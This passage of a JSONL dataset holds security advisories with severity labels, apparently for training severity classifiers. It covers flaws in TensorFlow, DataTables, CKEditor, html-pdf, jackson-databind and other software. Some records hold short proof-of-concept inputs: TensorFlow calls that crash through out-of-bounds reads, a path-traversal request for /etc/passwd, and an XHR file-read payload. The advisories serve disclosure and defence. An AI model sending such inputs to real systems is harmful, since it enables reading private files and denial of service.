operations](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc) can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(\n    gradients=[1.0,1.0],\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV4(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    round_mode='HALF_TO_EVEN',\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV3(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\n```python\nimport tensorflow as tf\n\n@tf.function\ndef test():\n  data=tf.raw_ops.QuantizeAndDequantizeV2(\n    input=[1.0,1.0],\n    input_min=[1.0,10.0],\n    input_max=[1.0,10.0],\n    signed_input=False,\n    num_bits=10,\n    range_given=False,\n    round_mode='HALF_TO_EVEN',\n    narrow_range=False,\n    axis=-100)\n  return data\n\ntest()\n```\n\nIn all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:\n\n```cc\n...\nif (axis != -1) {\n  ...\n  c->Dim(input, axis);\n  ...\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d](https://github.com/tensorflow/tensorflow/commit/7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "9bbff5f5527942911c9d", "text": "Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`\n\n### Impact\nAn attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)\nt_min = tf.constant([], shape=[0], dtype=tf.float32)\nt_max = tf.constant([], shape=[0], dtype=tf.float32)\nm = tf.constant([1], shape=[1], dtype=tf.quint8)\nm_min = tf.constant([], shape=[0], dtype=tf.float32)\nm_max = tf.constant([], shape=[0], dtype=tf.float32)\nv = tf.constant([1], shape=[1], dtype=tf.quint8)\nv_min = tf.constant([], shape=[0], dtype=tf.float32)\nv_max = tf.constant([], shape=[0], dtype=tf.float32)\nbeta = tf.constant([1], shape=[1], dtype=tf.quint8)\nbeta_min = tf.constant([], shape=[0], dtype=tf.float32)\nbeta_max = tf.constant([], shape=[0], dtype=tf.float32)\ngamma = tf.constant([1], shape=[1], dtype=tf.quint8)\ngamma_min = tf.constant([], shape=[0], dtype=tf.float32)\ngamma_max = tf.constant([], shape=[0], dtype=tf.float32)\n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty:\n\n```cc\nconst float input_min = context->input(1).flat<float>()(0);\nconst float input_max = context->input(2).flat<float>()(0);\n...\nconst float mean_min = context->input(4).flat<float>()(0);\nconst float mean_max = context->input(5).flat<float>()(0);\n...\nconst float var_min = context->input(7).flat<float>()(0);\nconst float var_max = context->input(8).flat<float>()(0);\n...\nconst float beta_min = context->input(10).flat<float>()(0);\nconst float beta_max = context->input(11).flat<float>()(0);\n...\nconst float gamma_min = context->input(13).flat<float>()(0);\nconst float gamma_max = context->input(14).flat<float>()(0);\n```\n\nIf any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`:\n\n```python\nimport tensorflow as tf\n\nt = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8)\nt_min = tf.constant([], shape=[0], dtype=tf.float32)\nt_max = tf.constant([], shape=[0], dtype=tf.float32)\nm = tf.constant([1], shape=[1], dtype=tf.quint8)\nm_min = tf.constant([], shape=[0], dtype=tf.float32)\nm_max = tf.constant([], shape=[0], dtype=tf.float32)\nv = tf.constant([1], shape=[1], dtype=tf.quint8)\nv_min = tf.constant([], shape=[0], dtype=tf.float32)\nv_max = tf.constant([], shape=[0], dtype=tf.float32)\nbeta = tf.constant([1], shape=[1], dtype=tf.quint8)\nbeta_min = tf.constant([], shape=[0], dtype=tf.float32)\nbeta_max = tf.constant([], shape=[0], dtype=tf.float32)\ngamma = tf.constant([1], shape=[1], dtype=tf.quint8)\ngamma_min = tf.constant([], shape=[0], dtype=tf.float32)\ngamma_max = tf.constant([], shape=[0], dtype=tf.float32) \n\ntf.raw_ops.QuantizedBatchNormWithGlobalNormalization(\n  t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max,\n  v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min,\n  beta_max=beta_max, gamma=gamma, gamma_min=gamma_min,\n  gamma_max=gamma_max, out_type=tf.qint32,\n  variance_epsilon=0.1, scale_after_normalization=True)\n```                         \n                            \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty: \n  \n```cc\nconst float input_min = context->input(1).flat<float>()(0);\nconst float input_max = context->input(2).flat<float>()(0);\n...\nconst float mean_min = context->input(4).flat<float>()(0);\nconst float mean_max = context->input(5).flat<float>()(0);\n...\nconst float var_min = context->input(7).flat<float>()(0);\nconst float var_max = context->input(8).flat<float>()(0);\n...\nconst float beta_min = context->input(10).flat<float>()(0);\nconst float beta_max = context->input(11).flat<float>()(0);\n...\nconst float gamma_min = context->input(13).flat<float>()(0);\nconst float gamma_max = context->input(14).flat<float>()(0);\n```\n\nIf any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds.\n\n### Patches\nWe have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "9f056c046375902af2bb", "text": "DataTable Vulnerable to Cross-Site Scripting\n\nCross-site scripting (XSS) vulnerability in the DataTables plugin 1.10.8 and earlier for jQuery allows remote attackers to inject arbitrary web script or HTML via the scripts parameter to media/unit_testing/templates/6776.php.\n\n## Recommendation\n\nUpdate to a version greater than 1.10.8. A [fix](https://github.com/DataTables/DataTablesSrc/commit/ccf86dc5982bd8e16d) appears in [version 1.10.10](https://github.com/DataTables/DataTablesSrc/commits/1.10.10?after=9780a3693572757d87bf70e48bd7555faf974f28+34&branch=1.10.10&qualified_name=refs%2Ftags%2F1.10.10).", "text_raw": "DataTable Vulnerable to Cross-Site Scripting\n\n[Severity: HIGH]\n\nCross-site scripting (XSS) vulnerability in the DataTables plugin 1.10.8 and earlier for jQuery allows remote attackers to inject arbitrary web script or HTML via the scripts parameter to media/unit_testing/templates/6776.php.\n\n\n## Recommendation\n\nUpdate to a version greater than 1.10.8. A [fix](https://github.com/DataTables/DataTablesSrc/commit/ccf86dc5982bd8e16d) appears in [version 1.10.10](https://github.com/DataTables/DataTablesSrc/commits/1.10.10?after=9780a3693572757d87bf70e48bd7555faf974f28+34&branch=1.10.10&qualified_name=refs%2Ftags%2F1.10.10).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-31", "split": "train"}
-{"id": "ca6246417cd25c47b85e", "text": "NCH Software Express Burn Plus 4.68 EBP Project File Handling Buffer Overflow PoC", "text_raw": "NCH Software Express Burn Plus 4.68 EBP Project File Handling Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-01-21", "split": "train"}
-{"id": "988e4b9d55cb6c10f645", "text": "Widget feature vulnerability allowing to execute JavaScript code using undo functionality\n\n### Affected packages\nThe vulnerability has been discovered in [Widget](https://ckeditor.com/cke4/addon/clipboard) plugin if used alongside [Undo](https://ckeditor.com/cke4/addon/undo) feature.\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Widget](https://ckeditor.com/cke4/addon/widget) package. The vulnerability allowed to abuse undo functionality using malformed widget HTML, which could result in executing JavaScript code. It affects all users using the CKEditor 4 plugins listed above at version >= 4.13.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Anton Subbotin ([skavans](https://github.com/skavans)) for recognizing and reporting this vulnerability.", "text_raw": "Widget feature vulnerability allowing to execute JavaScript code using undo functionality\n\n[Severity: HIGH]\n\n### Affected packages\nThe vulnerability has been discovered in [Widget](https://ckeditor.com/cke4/addon/clipboard) plugin if used alongside [Undo](https://ckeditor.com/cke4/addon/undo) feature.\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Widget](https://ckeditor.com/cke4/addon/widget) package. The vulnerability allowed to abuse undo functionality using malformed widget HTML, which could result in executing JavaScript code. It affects all users using the CKEditor 4 plugins listed above at version >= 4.13.0.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Anton Subbotin ([skavans](https://github.com/skavans)) for recognizing and reporting this vulnerability.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "1cdb2615c0b7ff51fc4a", "text": "BlazeVideo HDTV Player <= 3.5 PLF Playlist File Remote Buffer Overflow Exploit", "text_raw": "BlazeVideo HDTV Player <= 3.5 PLF Playlist File Remote Buffer Overflow Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-02-04", "split": "train"}
-{"id": "be700c5540fb919f9fc5", "text": "Duplicate Advisory: Data races on syncpool\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vp6r-mrq9-8f4h. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate unconditionally implements `Send` for `Bucket2`. This allows sending non-Send types to other threads.\n\nThis can lead to data races when non Send types like `Cell<T>` or `Rc<T>` are contained inside `Bucket2` and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue).\n\nThe flaw was corrected in commit `15b2828` by adding a `T: Send` bound to the `Send` impl of `Bucket2<T>`.", "text_raw": "Duplicate Advisory: Data races on syncpool\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vp6r-mrq9-8f4h. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate unconditionally implements `Send` for `Bucket2`. This allows sending non-Send types to other threads.\n\nThis can lead to data races when non Send types like `Cell<T>` or `Rc<T>` are contained inside `Bucket2` and sent across thread boundaries. The data races can potentially lead to memory corruption (as demonstrated in the PoC from the original report issue).\n\nThe flaw was corrected in commit `15b2828` by adding a `T: Send` bound to the `Send` impl of `Bucket2<T>`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "71d468bc7090a9b5cc5a", "text": "Directory Traversal in dcdcdcdcdc\n\nAffected versions of `dcdcdcdcdc` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in dcdcdcdcdc\n\n[Severity: HIGH]\n\nAffected versions of `dcdcdcdcdc` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "d811dcda8554041970bd", "text": "Arbitrary File Read in html-pdf\n\nAll versions of `html-pdf` are vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as `request.open(\"GET\",\"file:///etc/passwd\")` will result in a PDF document with the contents of `/etc/passwd`.\n\n## Recommendation\n\nNo fix is currently available. There is a mitigation available in the provided reference.", "text_raw": "Arbitrary File Read in html-pdf\n\n[Severity: HIGH]\n\nAll versions of `html-pdf` are vulnerable to Arbitrary File Read. The package fails to sanitize the HTML input, allowing attackers to exfiltrate server files by supplying malicious HTML code. XHR requests in the HTML code are executed by the server. Input with an XHR request such as `request.open(\"GET\",\"file:///etc/passwd\")` will result in a PDF document with the contents of `/etc/passwd`.\n\n\n## Recommendation\n\nNo fix is currently available. There is a mitigation available in the provided reference.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "5eeedf05dbead365af60", "text": "Remote code execution in ChakraCore\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-1057, CVE-2020-1180.", "text_raw": "Remote code execution in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the ChakraCore scripting engine handles objects in memory, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-1057, CVE-2020-1180.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "87e2f2f5e65a5cf57a24", "text": "OS Command Injection in OpenTSDB\n\nA remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)", "text_raw": "OS Command Injection in OpenTSDB\n\n[Severity: CRITICAL]\n\nA remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "fc828c125c0ee3cb76d2", "text": "Division by 0 in `SparseMatMul`\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.SparseMatMul`:\n\n```python\nimport tensorflow as tf\n\na = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)\nb = tf.constant([], shape=[0, 2], dtype=tf.float32)\n\ntf.raw_ops.SparseMatMul(\n    a=a, b=b, transpose_a=True, transpose_b=True,\n    a_is_sparse=True, b_is_sparse=True)\n```\n\nThe division by 0 occurs deep in Eigen code because the `b` tensor is empty.\n\n### Patches\nWe have patched the issue in GitHub commit [7f283ff806b2031f407db64c4d3edcda8fb9f9f5](https://github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Division by 0 in `SparseMatMul`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.SparseMatMul`:\n\n```python\nimport tensorflow as tf\n\na = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)\nb = tf.constant([], shape=[0, 2], dtype=tf.float32)\n\ntf.raw_ops.SparseMatMul(\n    a=a, b=b, transpose_a=True, transpose_b=True,\n    a_is_sparse=True, b_is_sparse=True)\n``` \n    \nThe division by 0 occurs deep in Eigen code because the `b` tensor is empty.\n    \n### Patches\nWe have patched the issue in GitHub commit [7f283ff806b2031f407db64c4d3edcda8fb9f9f5](https://github.com/tensorflow/tensorflow/commit/7f283ff806b2031f407db64c4d3edcda8fb9f9f5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "f0a030aaa38d84cae83e", "text": "Prototype Pollution in jointjs\n\nThis affects the package jointjs before 3.4.2. A type confusion vulnerability can lead to a bypass of CVE-2020-28480 when the user-provided keys used in the path parameter are arrays in the setByPath function.", "text_raw": "Prototype Pollution in jointjs\n\n[Severity: MEDIUM]\n\nThis affects the package jointjs before 3.4.2. A type confusion vulnerability can lead to a bypass of CVE-2020-28480 when the user-provided keys used in the path parameter are arrays in the setByPath function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "9d6a94be6802ef7a6924", "text": "Leak of information via Store-API\n\n### Impact\nLeak of information via Store-API\n\n### Patches\nWe recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\nThe vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information.\n\nhttps://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "text_raw": "Leak of information via Store-API\n\n[Severity: CRITICAL]\n\n### Impact\nLeak of information via Store-API\n\n### Patches\nWe recommend to update to the current version 6.3.5.1. You can get the update to 6.3.5.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\nThe vulnerability could only be fixed by changing the API system, which involves a non-backward-compatible change. Only consumers of the Store-API should be affected by this change. Please check your plugins if you have it in use. Detailed technical information can be found in the upgrade information.\n\nhttps://github.com/shopware/platform/blob/v6.3.5.1/UPGRADE-6.3.md#6351\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-02-2021", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-02-10", "split": "train"}
-{"id": "aca21627923e46645643", "text": "colorscore Command Injection vulnerability\n\nThe initialize method in the Histogram class in `lib/colorscore/histogram.rb` in the colorscore gem before 0.0.5 for Ruby allows context-dependent attackers to execute arbitrary code via shell metacharacters in the (1) `image_path`, (2) `colors`, or (3) `depth` variable.", "text_raw": "colorscore Command Injection vulnerability\n\n[Severity: CRITICAL]\n\nThe initialize method in the Histogram class in `lib/colorscore/histogram.rb` in the colorscore gem before 0.0.5 for Ruby allows context-dependent attackers to execute arbitrary code via shell metacharacters in the (1) `image_path`, (2) `colors`, or (3) `depth` variable.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "455499ffbcba76b05601", "text": "Cross-Site Scripting in snekserve\n\nAll versions of `snekserve` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in snekserve\n\n[Severity: HIGH]\n\nAll versions of `snekserve` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "b609a28b5f78ab209a4d", "text": "Cross-Site Scripting vulnerability in @backstage/plugin-auth-backend\n\n### Impact\nThis vulnerability allows a malicious actor to trick another user into visiting a vulnerable URL that executes an XSS attack. This attack can potentially allow the attacker to exfiltrate access tokens or other secrets from the user's browser. The default CSP does prevent this attack, but it is expected that some deployments have these policies disabled due to incompatibilities.\n\n### Patches\nThis is vulnerability is patched in version `0.4.9` of `@backstage/plugin-auth-backend`.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "Cross-Site Scripting vulnerability in @backstage/plugin-auth-backend\n\n[Severity: HIGH]\n\n### Impact\nThis vulnerability allows a malicious actor to trick another user into visiting a vulnerable URL that executes an XSS attack. This attack can potentially allow the attacker to exfiltrate access tokens or other secrets from the user's browser. The default CSP does prevent this attack, but it is expected that some deployments have these policies disabled due to incompatibilities.\n\n### Patches\nThis is vulnerability is patched in version `0.4.9` of `@backstage/plugin-auth-backend`.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "34c8251da3a935fcdd4c", "text": "The Ignition page before version 2.0.5 for Laravel mishandles globals, _get, _post, _cookie, and _env.\n\nNOTE: in the 1.x series, versions 1.16.15 and later are unaffected as a consequence of the CVE-2021-43996 fix.", "text_raw": "Critical severity vulnerability in Ignition\n\n[Severity: CRITICAL]\n\nThe Ignition page before version 2.0.5 for Laravel mishandles globals, _get, _post, _cookie, and _env.\n\nNOTE: in the 1.x series, versions 1.16.15 and later are unaffected as a consequence of the CVE-2021-43996 fix.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "60d94e30e6ec62fe2297", "text": "Apache serialization mechanism does not have a list of classes allowed for serialization/deserialization\n\nIn Apache Ignite 2.3 or earlier, the serialization mechanism does not have a list of classes allowed for serialization/deserialization, which makes it possible to run arbitrary code when 3-rd party vulnerable classes are present in Ignite classpath. The vulnerability can be exploited if the one sends a specially prepared form of a serialized object to one of the deserialization endpoints of some Ignite components - discovery SPI, Ignite persistence, Memcached endpoint, socket steamer.", "text_raw": "Apache serialization mechanism does not have a list of classes allowed for serialization/deserialization\n\n[Severity: CRITICAL]\n\nIn Apache Ignite 2.3 or earlier, the serialization mechanism does not have a list of classes allowed for serialization/deserialization, which makes it possible to run arbitrary code when 3-rd party vulnerable classes are present in Ignite classpath. The vulnerability can be exploited if the one sends a specially prepared form of a serialized object to one of the deserialization endpoints of some Ignite components - discovery SPI, Ignite persistence, Memcached endpoint, socket steamer.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "3df668e3f3c77230693e", "text": "Cross-Site Scripting in public\n\nVersions of `public` prior to 0.1.4 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nUpgrade to version 0.1.4 or later.", "text_raw": "Cross-Site Scripting in public\n\n[Severity: MEDIUM]\n\nVersions of `public` prior to 0.1.4 are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nUpgrade to version 0.1.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-10", "split": "train"}
-{"id": "5effaed1a50e5868fc64", "text": "Directory Traversal in jikes\n\nAffected versions of `jikes` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in jikes\n\n[Severity: MEDIUM]\n\nAffected versions of `jikes` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "d6056982f386fcb27f71", "text": "Serialization gadget exploit in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).", "text_raw": "Serialization gadget exploit in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 mishandles the interaction between serialization gadgets and typing, related to com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool (aka embedded Xalan in org.glassfish.web/javax.servlet.jsp.jstl).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
